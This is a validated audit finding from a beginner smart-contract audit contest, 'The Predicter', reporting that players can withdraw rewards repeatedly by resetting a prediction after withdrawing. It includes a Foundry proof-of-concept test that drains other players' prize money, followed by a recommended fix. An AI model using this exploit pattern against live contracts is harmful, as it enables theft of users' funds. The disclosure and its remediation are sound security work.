First Flight #20: The Predicter
First Flight #20
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Players can withdraw reward multiple times

strapontin

Description

After withdrawing, a player can re-set their predictionCount to call the withdraw function again, stealing funds.

Impact

Steal of funds from the contract, preventing other Players to withdraw their prize.

PoC

Add this test at the end of the test file and run it :

forge test --mt test_playerCanWithdrawMultipleTimes

// When a Player withdraws, clearPrediction should prevent them to re-withdraw
// So, a Player shouldn't be able to re-set their prediction then
function test_playerCanWithdrawMultipleTimes() public {
vm.deal(stranger, 1 ether);
vm.deal(organizer, 1 ether);
​
vm.prank(stranger);
thePredicter.register{value: 0.04 ether}();
​
vm.prank(organizer);
thePredicter.approvePlayer(stranger);
​
vm.startPrank(stranger);
thePredicter.makePrediction{value: 0.0001 ether}(0, ScoreBoard.Result.First);
thePredicter.makePrediction{value: 0.0001 ether}(1, ScoreBoard.Result.First);
thePredicter.makePrediction{value: 0.0001 ether}(2, ScoreBoard.Result.First);
vm.stopPrank();
​
​
vm.startPrank(organizer);
thePredicter.register{value: 0.04 ether}();
thePredicter.approvePlayer(organizer);
thePredicter.makePrediction{value: 0.0001 ether}(0, ScoreBoard.Result.First);
thePredicter.makePrediction{value: 0.0001 ether}(1, ScoreBoard.Result.First);
thePredicter.makePrediction{value: 0.0001 ether}(2, ScoreBoard.Result.First);
scoreBoard.setResult(0, ScoreBoard.Result.First);
scoreBoard.setResult(1, ScoreBoard.Result.First);
scoreBoard.setResult(2, ScoreBoard.Result.First);
scoreBoard.setResult(3, ScoreBoard.Result.First);
scoreBoard.setResult(4, ScoreBoard.Result.First);
scoreBoard.setResult(5, ScoreBoard.Result.First);
scoreBoard.setResult(6, ScoreBoard.Result.First);
scoreBoard.setResult(7, ScoreBoard.Result.First);
scoreBoard.setResult(8, ScoreBoard.Result.First);
vm.stopPrank();
​
vm.startPrank(organizer);
thePredicter.withdrawPredictionFees();
vm.stopPrank();
​
vm.startPrank(stranger);
thePredicter.withdraw();
​
assertEq(stranger.balance, 0.9997 ether);
​
scoreBoard.setPrediction(stranger, 8, ScoreBoard.Result.First);
​
// Shouldn't be able to withdraw a second time
thePredicter.withdraw();
vm.stopPrank();
​
// Player has stolen the prize money of other players
assertEq(stranger.balance, 1.0397 ether);
}

Recommendations

In the current code, the number of predictions is used to define whether a Player can withdraw or not.

Adding a new mapping to explicitly define if a player has withdrawn their earning would be more readable and more secure.

In ThePredicter.sol

// Add a new mapping
mapping(address players => bool) public hasWithdrawn;
​
// ...
// ...
// ...
​
function withdraw() public {
// Replace the first condition of the withdraw function
// Previously : if (!scoreBoard.isEligibleForReward(msg.sender)) {
if (hasWithdrawn[msg.sender]) {
revert ThePredicter__NotEligibleForWithdraw();
}
//...
//...
//...
// Add this in the withdraw function instead of clearPredictionsCount
// -- scoreBoard.clearPredictionsCount(msg.sender);
hasWithdrawn[msg.sender] = true;
// ...
}
Updates

Lead Judging Commences

NightHawK Lead Judge 11 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Multiple withdrawals are possible

`ThePredicter.withdraw` combined with `ScoreBoard.setPrediction` allows a player to withdraw rewards multiple times leading to a drain of funds in the contract.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.